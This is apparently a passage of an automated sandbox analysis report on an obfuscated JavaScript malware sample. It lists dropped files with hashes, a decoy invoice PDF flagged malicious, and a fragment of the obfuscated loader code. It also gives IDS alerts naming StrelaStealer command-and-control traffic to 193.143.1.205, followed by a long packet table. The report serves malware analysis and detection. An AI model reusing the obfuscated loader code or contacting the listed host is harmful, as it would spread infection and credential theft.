Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b014b637-1441-409e-b93d-fd2f76f4fc82.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19088), with CRLF line terminators
Entropy (8bit):	4.919984541601732
TrID:
File name:	6942228092691529249.js
File size:	22'626 bytes
MD5:	23e89e9e47ae90506afcbc98af26bad3
SHA1:	98404ebc3cb089cfc1c47fc63e8bc53d68d7687b
SHA256:	705a601bb6720b632316bebdc6dfc45090b63e5b0a6553be7fb5288b4d9927c0
SHA512:	9c20087d5d7742246ca4b49a32d0aa2d7ba25fcb0a84a1c814bb581356c06e8eae32ae77ede1d812dd48fbf88bfba22e89816a9f1ba38900a7e7add345f3c272
SSDEEP:	384:qskbVspIeNMwHPBLOB+JZl/+7hj8DdxT4B7f8w09Wygz:qskxspIezpy8J2G9p9kz
TLSH:	91A261CEC78A4EBA0EF416F16A2D2CC1D6844AE60BB5A4504C43FC4D8766EC792F5C79
File Content Preview:	function usopyaixj(){iqmseixb=[1031,3079,5127,4103,2055,3072];var gfjlg=this[ocwznu+zyxhcjr+pvqmqrpuf+acdavba+rqejbwy+vbfbsf+cjbhqms+yftajyvn](this[crevn+zgdbnka+notusonx+pvqmqrpuf+gfuzdh+ocwznu+yftajyvn][ppiomuccl+pvqmqrpuf+rqejbwy+zyxhcjr+yftajyvn+rqejb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:47:37.354869+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:47:37.354869+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:47:40.375116+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:47:36.511845112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:36.516694069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:36.516781092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:36.521332026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:36.526253939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354794025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354826927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354842901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354859114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354868889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.354876041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354891062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354907036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.354914904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354931116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354943037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.354947090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354964018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.354984045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.355001926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.412771940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.412820101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.412858963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.412909985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.468357086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.479782104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.479804993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.479814053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.479887962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.479935884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480086088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.480087042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.480215073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480230093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480249882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480262995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.480290890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.480643034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480664968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480681896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480696917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480705976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.480712891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.480740070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.481482029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.481503963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.481519938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.481523037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.481544018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.481559038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.481570005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.481601954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.482264996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.482280016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.482294083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.482321978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.504317045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.504336119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.504350901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.504369020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.504498005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.504498005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.591681004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.591706991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.591722012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.591813087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.604803085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604847908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604865074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604881048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604898930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.604923010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604943037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604943037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.604959965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.604968071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.605004072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.605005026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.605581045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.605598927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.605614901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.605628967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.605631113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.605657101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.606045961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606074095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606086969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.606091022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606106997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606123924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606128931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.606168985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.606666088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606689930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606707096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606722116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606733084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.606739044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606755972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606765985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.606774092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.606801987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.607497931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607512951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607532024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607547045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.607558012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607569933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.607573986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607592106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607609034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.607613087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.607651949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.608480930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608505964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608521938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608540058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608545065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.608556986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608573914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608580112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.608592987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.608613014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.609292030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.609308004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.609328985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.609338999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.609354973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.609370947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.609375000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.609386921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.609414101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.655865908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.683259964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.683281898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.683548927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.716955900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.716974974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.716989994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.717056036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.717071056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.717089891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.717231989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.717231989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730016947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730034113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730041981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730070114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730077028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730083942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730207920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730225086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730233908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730334044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730391026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730427027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730443954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730449915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730487108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730488062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730504036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730549097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730714083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730772018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730787039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730803967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730813026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730848074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730873108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730887890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730904102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730920076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730926991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.730935097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.730964899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.731404066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731417894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731434107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731445074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.731452942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731467962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731479883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.731484890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731517076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.731929064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731942892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731960058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731973886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.731978893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.731990099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732002974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732006073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732021093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732038021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732040882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732053041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732064009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732068062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732084036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732091904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732100010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732141018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732696056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732723951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732743979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732744932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732784033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732788086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732799053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732815027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732851028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732882977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732897997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732913017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732929945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732937098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732953072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732961893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.732969046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.732994080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.733663082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.733678102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.733692884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.733706951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.733707905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.733736992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.739270926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.739285946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.739300966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.739329100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.739362001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.774797916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.774813890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.774900913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.808624983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.808686972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.808712006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.808736086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.808758020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.808780909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.809046984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.809046984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.821809053 CET	80	49730	193.143.1.205	192.168.2.4
